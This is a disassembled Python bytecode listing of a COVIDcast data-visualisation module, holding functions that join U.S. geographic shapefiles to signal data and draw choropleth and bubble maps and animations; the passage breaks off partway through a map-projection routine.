LOAD_CONST 'This contains the plotting and geo data management methods for the COVIDcast signals.' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME io STORE_NAME io LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST ('date', 'timedelta') IMPORT_NAME datetime IMPORT_FROM date STORE_NAME date IMPORT_FROM timedelta STORE_NAME timedelta POP_TOP LOAD_CONST 0 LOAD_CONST ('Tuple', 'Any') IMPORT_NAME typing IMPORT_FROM Tuple STORE_NAME Tuple IMPORT_FROM Any STORE_NAME Any POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME geopandas STORE_NAME gpd LOAD_CONST 0 LOAD_CONST None IMPORT_NAME imageio STORE_NAME imageio LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_NAME np LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pandas STORE_NAME pd LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pkg_resources STORE_NAME pkg_resources LOAD_CONST 0 LOAD_CONST ('pyplot',) IMPORT_NAME matplotlib IMPORT_FROM pyplot STORE_NAME plt POP_TOP LOAD_CONST 0 LOAD_CONST ('figure', 'axes') IMPORT_NAME matplotlib IMPORT_FROM figure STORE_NAME figure IMPORT_FROM axes STORE_NAME axes POP_TOP LOAD_CONST 0 LOAD_CONST ('tqdm',) IMPORT_NAME tqdm IMPORT_FROM tqdm STORE_NAME tqdm POP_TOP LOAD_CONST 1 LOAD_CONST ('_detect_metadata', '_signal_metadata') IMPORT_NAME covidcast IMPORT_FROM _detect_metadata STORE_NAME _detect_metadata IMPORT_FROM _signal_metadata STORE_NAME _signal_metadata POP_TOP LOAD_CONST 'shapefiles/county/cb_2019_us_county_5m.shp' LOAD_CONST 'shapefiles/state/cb_2019_us_state_5m.shp' LOAD_CONST 'shapefiles/msa/cb_2019_us_cbsa_5m.shp' LOAD_CONST 'shapefiles/hrr/geo_export_ad86cff5-e5ed-432e-9ec2-2ce8732099ee.shp' LOAD_CONST ('county', 'state', 'msa', 'hrr') BUILD_CONST_KEY_MAP STORE_NAME SHAPEFILE_PATHS LOAD_CONST '01' LOAD_CONST '27' LOAD_CONST '23' LOAD_CONST '53' LOAD_CONST '22' LOAD_CONST '42' LOAD_CONST '24' LOAD_CONST '08' LOAD_CONST '47' LOAD_CONST '26' LOAD_CONST '12' LOAD_CONST '51' LOAD_CONST '18' LOAD_CONST '60' LOAD_CONST '15' LOAD_CONST '04' LOAD_CONST '29' LOAD_CONST '45' LOAD_CONST '11' LOAD_CONST '35' LOAD_CONST '25' LOAD_CONST '41' LOAD_CONST '28' LOAD_CONST '55' LOAD_CONST '72' LOAD_CONST '33' LOAD_CONST '32' LOAD_CONST '13' LOAD_CONST '21' LOAD_CONST '31' LOAD_CONST '56' LOAD_CONST '02' LOAD_CONST '40' LOAD_CONST '66' LOAD_CONST '10' LOAD_CONST '19' LOAD_CONST '06' LOAD_CONST '78' LOAD_CONST '39' LOAD_CONST '36' LOAD_CONST '09' LOAD_CONST '05' LOAD_CONST '50' LOAD_CONST '69' LOAD_CONST '30' LOAD_CONST '44' LOAD_CONST '54' LOAD_CONST '17' LOAD_CONST '48' LOAD_CONST '49' LOAD_CONST '38' LOAD_CONST '20' LOAD_CONST '46' LOAD_CONST '37' LOAD_CONST '34' LOAD_CONST '16' LOAD_CONST ('AL', 'MN', 'ME', 'WA', 'LA', 'PA', 'MD', 'CO', 'TN', 'MI', 'FL', 'VA', 'IN', 'AS', 'HI', 'AZ', 'MO', 'SC', 'DC', 'NM', 'MA', 'OR', 'MS', 'WI', 'PR', 'NH', 'NV', 'GA', 'KY', 'NE', 'WY', 'AK', 'OK', 'GU', 'DE', 'IA', 'CA', 'VI', 'OH', 'NY', 'CT', 'AR', 'VT', 'MP', 'MT', 'RI', 'WV', 'IL', 'TX', 'UT', 'ND', 'KS', 'SD', 'NC', 'NJ', 'ID') BUILD_CONST_KEY_MAP STORE_NAME STATE_ABBR_TO_FIPS LOAD_CONST '01' LOAD_CONST '04' LOAD_CONST '05' LOAD_CONST '06' LOAD_CONST '08' LOAD_CONST '09' LOAD_CONST '10' LOAD_CONST '11' LOAD_CONST '12' LOAD_CONST '13' LOAD_CONST '16' LOAD_CONST '17' LOAD_CONST '18' LOAD_CONST '19' LOAD_CONST '20' LOAD_CONST '21' LOAD_CONST '22' LOAD_CONST '23' LOAD_CONST '24' LOAD_CONST '25' LOAD_CONST '26' LOAD_CONST '27' LOAD_CONST '28' LOAD_CONST '29' LOAD_CONST '30' LOAD_CONST '31' LOAD_CONST '32' LOAD_CONST '33' LOAD_CONST '34' LOAD_CONST '35' LOAD_CONST '36' LOAD_CONST '37' LOAD_CONST '38' LOAD_CONST '39' LOAD_CONST '40' LOAD_CONST '41' LOAD_CONST '42' LOAD_CONST '44' LOAD_CONST '45' LOAD_CONST '46' LOAD_CONST '47' LOAD_CONST '48' LOAD_CONST '49' LOAD_CONST '50' LOAD_CONST '51' LOAD_CONST '53' LOAD_CONST '54' LOAD_CONST '55' LOAD_CONST '56' BUILD_SET STORE_NAME CONTIGUOUS_FIPS LOAD_CONST (None, 'choropleth', True) LOAD_NAME pd LOAD_ATTR DataFrame LOAD_NAME date LOAD_NAME str LOAD_NAME bool LOAD_NAME Any LOAD_NAME figure LOAD_ATTR Figure LOAD_CONST ('data', 'time_value', 'plot_type', 'combine_megacounties', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object plot at 0x7fab702f76f0, file "f.py", line 138> LOAD_CONST 'plot' MAKE_FUNCTION STORE_NAME plot LOAD_CONST (None, True) LOAD_NAME pd LOAD_ATTR DataFrame LOAD_NAME date LOAD_NAME bool LOAD_NAME Any LOAD_NAME figure LOAD_ATTR Figure LOAD_CONST ('data', 'time_value', 'combine_megacounties', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object plot_choropleth at 0x7fab702f7930, file "f.py", line 201> LOAD_CONST 'plot_choropleth' MAKE_FUNCTION STORE_NAME plot_choropleth LOAD_CONST ('geo_value', 'geo_type', 'right', False) LOAD_NAME pd LOAD_ATTR DataFrame LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME bool LOAD_NAME gpd LOAD_ATTR GeoDataFrame LOAD_CONST ('data', 'geo_value_col', 'geo_type_col', 'join_type', 'combine_megacounties', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object get_geo_df at 0x7fab702f7d20, file "f.py", line 219> LOAD_CONST 'get_geo_df' MAKE_FUNCTION STORE_NAME get_geo_df LOAD_CONST (3, 150) LOAD_NAME pd LOAD_ATTR DataFrame LOAD_NAME str LOAD_NAME int LOAD_NAME int LOAD_NAME Any LOAD_CONST None LOAD_CONST ('data', 'filepath', 'fps', 'dpi', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object animate at 0x7fab703f7420, file "f.py", line 311> LOAD_CONST 'animate' MAKE_FUNCTION STORE_NAME animate LOAD_NAME axes LOAD_ATTR Axes LOAD_NAME gpd LOAD_ATTR GeoDataFrame LOAD_NAME bool LOAD_NAME Any LOAD_CONST None LOAD_CONST ('ax', 'data', 'combine_megacounties', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _plot_choro at 0x7fab703f7ae0, file "f.py", line 341> LOAD_CONST '_plot_choro' MAKE_FUNCTION STORE_NAME _plot_choro LOAD_NAME axes LOAD_ATTR Axes LOAD_NAME gpd LOAD_ATTR GeoDataFrame LOAD_NAME str LOAD_NAME Any LOAD_CONST None LOAD_CONST ('ax', 'data', 'geo_type', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _plot_bubble at 0x7fab703f7a50, file "f.py", line 373> LOAD_CONST '_plot_bubble' MAKE_FUNCTION STORE_NAME _plot_bubble LOAD_NAME tuple LOAD_NAME tuple LOAD_CONST ('figsize', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _plot_background_states at 0x7fab703f70c0, file "f.py", line 421> LOAD_CONST '_plot_background_states' MAKE_FUNCTION STORE_NAME _plot_background_states LOAD_CONST ('state_fips',) LOAD_NAME gpd LOAD_ATTR GeoDataFrame LOAD_NAME str LOAD_NAME Tuple LOAD_CONST ('data', 'state_col', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _project_and_transform at 0x7fab703f75d0, file "f.py", line 440> LOAD_CONST '_project_and_transform' MAKE_FUNCTION STORE_NAME _project_and_transform LOAD_CONST ('right',) LOAD_NAME pd LOAD_ATTR DataFrame LOAD_NAME str LOAD_NAME gpd LOAD_ATTR GeoDataFrame LOAD_NAME str LOAD_NAME gpd LOAD_ATTR GeoDataFrame LOAD_CONST ('data', 'state_col', 'geo_info', 'join_type', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _join_state_geo_df at 0x7fab703f7c00, file "f.py", line 470> LOAD_CONST '_join_state_geo_df' MAKE_FUNCTION STORE_NAME _join_state_geo_df LOAD_CONST ('right', False) LOAD_NAME pd LOAD_ATTR DataFrame LOAD_NAME str LOAD_NAME gpd LOAD_ATTR GeoDataFrame LOAD_NAME str LOAD_NAME bool LOAD_NAME gpd LOAD_ATTR GeoDataFrame LOAD_CONST ('data', 'county_col', 'geo_info', 'join_type', 'combine_megacounties', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _join_county_geo_df at 0x7fab703f7150, file "f.py", line 495> LOAD_CONST '_join_county_geo_df' MAKE_FUNCTION STORE_NAME _join_county_geo_df LOAD_NAME pd LOAD_ATTR DataFrame LOAD_NAME str LOAD_NAME gpd LOAD_ATTR GeoDataFrame LOAD_NAME gpd LOAD_ATTR GeoDataFrame LOAD_CONST ('data', 'county_col', 'geo_info', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _combine_megacounties at 0x7fab703f7c90, file "f.py", line 526> LOAD_CONST '_combine_megacounties' MAKE_FUNCTION STORE_NAME _combine_megacounties LOAD_CONST ('right',) LOAD_NAME pd LOAD_ATTR DataFrame LOAD_NAME str LOAD_NAME gpd LOAD_ATTR GeoDataFrame LOAD_NAME str LOAD_NAME gpd LOAD_ATTR GeoDataFrame LOAD_CONST ('data', 'county_col', 'geo_info', 'join_type', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _distribute_megacounties at 0x7fab703f7ed0, file "f.py", line 558> LOAD_CONST '_distribute_megacounties' MAKE_FUNCTION STORE_NAME _distribute_megacounties LOAD_CONST ('right',) LOAD_NAME pd LOAD_ATTR DataFrame LOAD_NAME str LOAD_NAME gpd LOAD_ATTR GeoDataFrame LOAD_NAME str LOAD_NAME gpd LOAD_ATTR GeoDataFrame LOAD_CONST ('data', 'msa_col', 'geo_info', 'join_type', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _join_msa_geo_df at 0x7fab703f7270, file "f.py", line 590> LOAD_CONST '_join_msa_geo_df' MAKE_FUNCTION STORE_NAME _join_msa_geo_df LOAD_CONST ('right',) LOAD_NAME pd LOAD_ATTR DataFrame LOAD_NAME str LOAD_NAME gpd LOAD_ATTR GeoDataFrame LOAD_NAME str LOAD_NAME gpd LOAD_ATTR GeoDataFrame LOAD_CONST ('data', 'msa_col', 'geo_info', 'join_type', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _join_hrr_geo_df at 0x7fab703f78a0, file "f.py", line 621> LOAD_CONST '_join_hrr_geo_df' MAKE_FUNCTION STORE_NAME _join_hrr_geo_df LOAD_NAME str LOAD_NAME bool LOAD_CONST ('fips', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _is_megacounty at 0x7fab703f7780, file "f.py", line 648> LOAD_CONST '_is_megacounty' MAKE_FUNCTION STORE_NAME _is_megacounty LOAD_CONST None RETURN_VALUE LOAD_FAST plot_type LOAD_CONST frozenset({'bubble', 'choropleth'}) COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST "`plot_type` must be 'choropleth' or 'bubble'." CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL _detect_metadata LOAD_FAST data CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST data_source STORE_FAST signal STORE_FAST geo_type LOAD_GLOBAL _signal_metadata LOAD_FAST data_source LOAD_FAST signal LOAD_FAST geo_type CALL_FUNCTION STORE_FAST meta LOAD_FAST time_value POP_JUMP_IF_FALSE LOAD_FAST time_value JUMP_FORWARD to 58 LOAD_GLOBAL max LOAD_FAST data LOAD_ATTR time_value CALL_FUNCTION STORE_FAST day_to_plot LOAD_FAST data LOAD_ATTR loc LOAD_FAST data LOAD_ATTR time_value LOAD_GLOBAL pd LOAD_METHOD to_datetime LOAD_FAST day_to_plot CALL_METHOD COMPARE_OP == LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR STORE_FAST day_data LOAD_FAST kwargs LOAD_METHOD get LOAD_CONST 'vmax' LOAD_FAST meta LOAD_CONST 'mean_value' BINARY_SUBSCR LOAD_CONST 3 LOAD_FAST meta LOAD_CONST 'stdev_value' BINARY_SUBSCR BINARY_MULTIPLY BINARY_ADD CALL_METHOD LOAD_FAST kwargs LOAD_CONST 'vmax' STORE_SUBSCR LOAD_FAST kwargs LOAD_METHOD get LOAD_CONST 'figsize' LOAD_CONST (12.8, 9.6) CALL_METHOD LOAD_FAST kwargs LOAD_CONST 'figsize' STORE_SUBSCR LOAD_GLOBAL _plot_background_states LOAD_FAST kwargs LOAD_CONST 'figsize' BINARY_SUBSCR CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST fig STORE_FAST ax LOAD_FAST ax LOAD_METHOD set_title LOAD_FAST data_source FORMAT_VALUE LOAD_CONST ': ' LOAD_FAST signal FORMAT_VALUE LOAD_CONST ', ' LOAD_FAST day_to_plot LOAD_METHOD strftime LOAD_CONST '%Y-%m-%d' CALL_METHOD FORMAT_VALUE BUILD_STRING CALL_METHOD POP_TOP LOAD_FAST plot_type LOAD_CONST 'choropleth' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL _plot_choro LOAD_FAST ax LOAD_FAST day_data LOAD_FAST combine_megacounties BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP JUMP_FORWARD to 228 LOAD_GLOBAL _plot_bubble LOAD_FAST ax LOAD_FAST day_data LOAD_FAST geo_type BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST fig RETURN_VALUE LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST 'Function `plot_choropleth` is deprecated. Use `plot()` instead.' CALL_METHOD POP_TOP LOAD_GLOBAL plot LOAD_FAST data LOAD_FAST time_value LOAD_CONST 'choropleth' LOAD_FAST combine_megacounties BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION RETURN_VALUE LOAD_FAST join_type LOAD_CONST 'right' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL any LOAD_FAST data LOAD_FAST geo_value_col BINARY_SUBSCR LOAD_METHOD duplicated CALL_METHOD CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'join_type `right` is incompatible with duplicate values in a given region. Use `left` or ensure your input data is a single signal for a single date and geography type. ' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL _detect_metadata LOAD_FAST data LOAD_FAST geo_type_col CALL_FUNCTION LOAD_CONST 2 BINARY_SUBSCR STORE_FAST geo_type LOAD_FAST geo_type LOAD_CONST ('state', 'county', 'msa', 'hrr') COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Unsupported geography type; only `state`, `county`, `hrr`, and `msa` supported.' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL pkg_resources LOAD_METHOD resource_filename LOAD_GLOBAL __name__ LOAD_GLOBAL SHAPEFILE_PATHS LOAD_FAST geo_type BINARY_SUBSCR CALL_METHOD STORE_FAST shapefile_path LOAD_GLOBAL gpd LOAD_METHOD read_file LOAD_FAST shapefile_path CALL_METHOD STORE_FAST geo_info LOAD_FAST geo_type LOAD_CONST 'state' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL _join_state_geo_df LOAD_FAST data LOAD_FAST geo_value_col LOAD_FAST geo_info LOAD_FAST join_type CALL_FUNCTION STORE_FAST output JUMP_FORWARD to 196 LOAD_FAST geo_type LOAD_CONST 'msa' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL _join_msa_geo_df LOAD_FAST data LOAD_FAST geo_value_col LOAD_FAST geo_info LOAD_FAST join_type CALL_FUNCTION STORE_FAST output JUMP_FORWARD to 196 LOAD_FAST geo_type LOAD_CONST 'hrr' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST geo_info LOAD_CONST 'geometry' BINARY_SUBSCR LOAD_METHOD translate LOAD_CONST 0 LOAD_CONST -0.185 CALL_METHOD LOAD_FAST geo_info LOAD_CONST 'geometry' STORE_SUBSCR LOAD_GLOBAL _join_hrr_geo_df LOAD_FAST data LOAD_FAST geo_value_col LOAD_FAST geo_info LOAD_FAST join_type CALL_FUNCTION STORE_FAST output JUMP_FORWARD to 196 LOAD_GLOBAL _join_county_geo_df LOAD_FAST data LOAD_FAST geo_value_col LOAD_FAST geo_info LOAD_FAST join_type LOAD_FAST combine_megacounties CALL_FUNCTION STORE_FAST output LOAD_FAST output RETURN_VALUE LOAD_GLOBAL imageio LOAD_ATTR get_writer LOAD_FAST filepath LOAD_FAST fps LOAD_CONST '-probesize' LOAD_CONST '75M' BUILD_LIST LOAD_CONST ('fps', 'input_params') CALL_FUNCTION STORE_FAST writer LOAD_GLOBAL max LOAD_DEREF data LOAD_ATTR time_value CALL_FUNCTION LOAD_GLOBAL min LOAD_DEREF data LOAD_ATTR time_value CALL_FUNCTION BINARY_SUBTRACT LOAD_ATTR days STORE_FAST num_days LOAD_CLOSURE data BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab703f7f60, file "f.py", line 330> LOAD_CONST 'animate.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_FAST num_days LOAD_CONST 1 BINARY_ADD CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST day_list SETUP_LOOP to 162 LOAD_GLOBAL tqdm LOAD_FAST day_list CALL_FUNCTION GET_ITER FOR_ITER to 160 STORE_FAST d LOAD_GLOBAL io LOAD_METHOD BytesIO CALL_METHOD STORE_FAST buf LOAD_GLOBAL plot LOAD_DEREF data BUILD_TUPLE LOAD_CONST 'time_value' LOAD_FAST d BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_GLOBAL plt LOAD_ATTR savefig LOAD_FAST buf LOAD_FAST dpi LOAD_CONST ('dpi',) CALL_FUNCTION POP_TOP LOAD_GLOBAL plt LOAD_METHOD close CALL_METHOD POP_TOP LOAD_FAST buf LOAD_METHOD seek LOAD_CONST 0 CALL_METHOD POP_TOP LOAD_FAST writer LOAD_METHOD append_data LOAD_GLOBAL imageio LOAD_METHOD imread LOAD_FAST buf CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST writer LOAD_METHOD close CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 30 STORE_FAST x LOAD_GLOBAL min LOAD_DEREF data LOAD_ATTR time_value CALL_FUNCTION LOAD_GLOBAL timedelta LOAD_FAST x LOAD_CONST ('days',) CALL_FUNCTION BINARY_ADD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST kwargs LOAD_METHOD get LOAD_CONST 'vmin' LOAD_CONST 0 CALL_METHOD LOAD_FAST kwargs LOAD_CONST 'vmin' STORE_SUBSCR LOAD_FAST kwargs LOAD_METHOD get LOAD_CONST 'cmap' LOAD_CONST 'YlOrRd' CALL_METHOD LOAD_FAST kwargs LOAD_CONST 'cmap' STORE_SUBSCR LOAD_GLOBAL get_geo_df LOAD_FAST data LOAD_FAST combine_megacounties LOAD_CONST ('combine_megacounties',) CALL_FUNCTION STORE_FAST data_w_geo SETUP_LOOP to 90 LOAD_GLOBAL _project_and_transform LOAD_FAST data_w_geo CALL_FUNCTION GET_ITER FOR_ITER to 88 STORE_FAST shape LOAD_FAST shape LOAD_ATTR empty POP_JUMP_IF_TRUE LOAD_FAST shape LOAD_ATTR plot BUILD_TUPLE LOAD_CONST 'value' LOAD_FAST ax LOAD_CONST ('column', 'ax') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL plt LOAD_ATTR cm LOAD_ATTR ScalarMappable LOAD_FAST kwargs LOAD_CONST 'cmap' BINARY_SUBSCR LOAD_GLOBAL plt LOAD_ATTR Normalize LOAD_FAST kwargs LOAD_CONST 'vmin' BINARY_SUBSCR LOAD_FAST kwargs LOAD_CONST 'vmax' BINARY_SUBSCR LOAD_CONST ('vmin', 'vmax') CALL_FUNCTION LOAD_CONST ('cmap', 'norm') CALL_FUNCTION STORE_FAST sm BUILD_LIST LOAD_FAST sm STORE_ATTR _A LOAD_GLOBAL plt LOAD_ATTR colorbar LOAD_FAST sm LOAD_GLOBAL np LOAD_METHOD linspace LOAD_FAST kwargs LOAD_CONST 'vmin' BINARY_SUBSCR LOAD_FAST kwargs LOAD_CONST 'vmax' BINARY_SUBSCR LOAD_CONST 8 CALL_METHOD LOAD_FAST ax LOAD_CONST 'horizontal' LOAD_CONST 0.045 LOAD_CONST 0.04 LOAD_CONST '%.2f' LOAD_CONST ('ticks', 'ax', 'orientation', 'fraction', 'pad', 'format') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST kwargs LOAD_METHOD get LOAD_CONST 'vmin' LOAD_CONST 0.1 CALL_METHOD LOAD_FAST kwargs LOAD_CONST 'vmin' STORE_SUBSCR LOAD_FAST kwargs LOAD_METHOD get LOAD_CONST 'color' LOAD_CONST 'purple' CALL_METHOD LOAD_FAST kwargs LOAD_CONST 'color' STORE_SUBSCR LOAD_FAST kwargs LOAD_METHOD get LOAD_CONST 'alpha' LOAD_CONST 0.5 CALL_METHOD LOAD_FAST kwargs LOAD_CONST 'alpha' STORE_SUBSCR LOAD_GLOBAL get_geo_df LOAD_FAST data LOAD_CONST 'inner' LOAD_CONST ('join_type',) CALL_FUNCTION STORE_FAST data_w_geo LOAD_GLOBAL np LOAD_METHOD linspace LOAD_FAST kwargs LOAD_CONST 'vmin' BINARY_SUBSCR LOAD_FAST kwargs LOAD_CONST 'vmax' BINARY_SUBSCR LOAD_CONST 8 CALL_METHOD STORE_FAST label_bins LOAD_GLOBAL list LOAD_FAST label_bins CALL_FUNCTION LOAD_GLOBAL np LOAD_ATTR inf BUILD_LIST BINARY_ADD STORE_FAST value_bins LOAD_FAST geo_type LOAD_CONST 'state' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 3 JUMP_FORWARD to 112 LOAD_CONST 1 STORE_FAST state_multiple LOAD_GLOBAL np LOAD_METHOD prod LOAD_FAST kwargs LOAD_CONST 'figsize' BINARY_SUBSCR CALL_METHOD LOAD_CONST 1.5 BINARY_TRUE_DIVIDE LOAD_FAST kwargs LOAD_CONST 'vmax' BINARY_SUBSCR BINARY_TRUE_DIVIDE LOAD_FAST state_multiple BINARY_MULTIPLY STORE_FAST bubble_scale LOAD_GLOBAL pd LOAD_ATTR cut LOAD_FAST data_w_geo LOAD_ATTR value LOAD_FAST label_bins LOAD_FAST value_bins LOAD_CONST False LOAD_CONST ('labels', 'bins', 'right') CALL_FUNCTION LOAD_FAST data_w_geo LOAD_CONST 'binval' STORE_SUBSCR LOAD_FAST data_w_geo LOAD_ATTR binval LOAD_METHOD astype LOAD_GLOBAL float CALL_METHOD LOAD_FAST bubble_scale BINARY_MULTIPLY LOAD_FAST data_w_geo LOAD_CONST 'binval' STORE_SUBSCR SETUP_LOOP to 288 LOAD_GLOBAL _project_and_transform LOAD_FAST data_w_geo CALL_FUNCTION GET_ITER FOR_ITER to 286 STORE_FAST shape LOAD_FAST shape LOAD_ATTR empty POP_JUMP_IF_TRUE LOAD_FAST shape LOAD_ATTR binval LOAD_METHOD isnull CALL_METHOD LOAD_ATTR values LOAD_METHOD all CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST shape LOAD_ATTR plot LOAD_CONST '1' LOAD_FAST ax LOAD_CONST True LOAD_CONST '0.8' LOAD_CONST 0.5 LOAD_CONST ('color', 'ax', 'legend', 'edgecolor', 'linewidth') CALL_FUNCTION POP_TOP LOAD_FAST shape LOAD_CONST 'geometry' BINARY_SUBSCR LOAD_ATTR centroid LOAD_FAST shape LOAD_CONST 'geometry' STORE_SUBSCR LOAD_FAST shape LOAD_ATTR plot LOAD_CONST 'binval' LOAD_FAST kwargs LOAD_CONST 'color' BINARY_SUBSCR LOAD_FAST ax LOAD_FAST kwargs LOAD_CONST 'alpha' BINARY_SUBSCR LOAD_CONST ('markersize', 'color', 'ax', 'alpha') CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 348 LOAD_FAST label_bins GET_ITER FOR_ITER to 346 STORE_FAST b LOAD_FAST ax LOAD_ATTR scatter LOAD_CONST 10000000000.0 BUILD_LIST LOAD_CONST 10000000000.0 BUILD_LIST LOAD_FAST kwargs LOAD_CONST 'color' BINARY_SUBSCR LOAD_FAST kwargs LOAD_CONST 'alpha' BINARY_SUBSCR LOAD_FAST b LOAD_FAST bubble_scale BINARY_MULTIPLY LOAD_GLOBAL round LOAD_FAST b LOAD_CONST 2 CALL_FUNCTION LOAD_CONST ('color', 'alpha', 's', 'label') CALL_FUNCTION POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST ax LOAD_ATTR legend LOAD_CONST False LOAD_CONST 8 LOAD_CONST 'lower center' LOAD_CONST (0.5, -0.1) LOAD_CONST ('frameon', 'ncol', 'loc', 'bbox_to_anchor') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL plt LOAD_ATTR subplots LOAD_CONST 1 LOAD_FAST figsize LOAD_CONST ('figsize',) CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST fig STORE_FAST ax LOAD_FAST ax LOAD_METHOD axis LOAD_CONST 'off' CALL_METHOD POP_TOP LOAD_GLOBAL pkg_resources LOAD_METHOD resource_filename LOAD_GLOBAL __name__ LOAD_GLOBAL SHAPEFILE_PATHS LOAD_CONST 'state' BINARY_SUBSCR CALL_METHOD STORE_FAST state_shapefile_path LOAD_GLOBAL gpd LOAD_METHOD read_file LOAD_FAST state_shapefile_path CALL_METHOD STORE_FAST state SETUP_LOOP to 92 LOAD_GLOBAL _project_and_transform LOAD_FAST state LOAD_CONST 'STATEFP' CALL_FUNCTION GET_ITER FOR_ITER to 90 STORE_FAST state LOAD_FAST state LOAD_ATTR plot LOAD_CONST '0.9' LOAD_FAST ax LOAD_CONST '0.8' LOAD_CONST 0.5 LOAD_CONST ('color', 'ax', 'edgecolor', 'linewidth') CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST ax LOAD_METHOD set_xlim LOAD_GLOBAL plt LOAD_METHOD xlim CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST ax LOAD_METHOD set_ylim LOAD_GLOBAL plt LOAD_METHOD ylim CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST fig LOAD_FAST ax BUILD_TUPLE RETURN_VALUE LOAD_FAST data LOAD_ATTR loc LOAD_CONST <code object <listcomp> at 0x7fab703f7300, file "f.py", line 455> LOAD_CONST '_project_and_transform.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST data LOAD_FAST state_col BINARY_SUBSCR GET_ITER CALL_FUNCTION LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_METHOD to_crs LOAD_CONST 'ESRI:102003' CALL_METHOD STORE_FAST cont LOAD_FAST data LOAD_ATTR loc LOAD_FAST data LOAD_FAST state_col BINARY_SUBSCR LOAD_CONST '02' COMPARE_OP == LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_METHOD to_crs LOAD_CONST 'ESRI:102006' CALL_METHOD STORE_FAST alaska LOAD_FAST data LOAD_ATTR loc LOAD_FAST data LOAD_FAST state_col BINARY_SUBSCR LOAD_CONST '72' COMPARE_OP == LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_METHOD to_crs LOAD_CONST 'ESRI:102003' CALL_METHOD STORE_FAST pr LOAD_FAST data LOAD_ATTR loc LOAD_FAST data LOAD_FAST state_col BINARY_SUBSCR LOAD_CONST '15' COMPARE_OP == LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_METHOD to_crs LOAD_CONST 'ESRI:102007' CALL_METHOD STORE_FAST hawaii LOAD_FAST alaska LOAD_ATTR geometry LOAD_ATTR scale LOAD_CONST 0.35 LOAD_CONST 0.35 LOAD_CONST (0, 0) LOAD_CONST ('origin',) CALL_FUNCTION LOAD_METHOD translate LOAD_CONST -1800000.0 LOAD_CONST -1600000.0 CALL_METHOD LOAD_FAST alaska STORE_ATTR geometry LOAD_FAST hawaii LOAD_ATTR geometry LOAD_METHOD translate LOAD_CONST -1000000.0 LOAD_CONST -2000000.0 CALL_METHOD LOAD_FAST hawaii STORE_ATTR geometry LOAD_FAST pr LOAD_ATTR geometry LOAD_METHOD translate LOAD_CONST -1200000.0 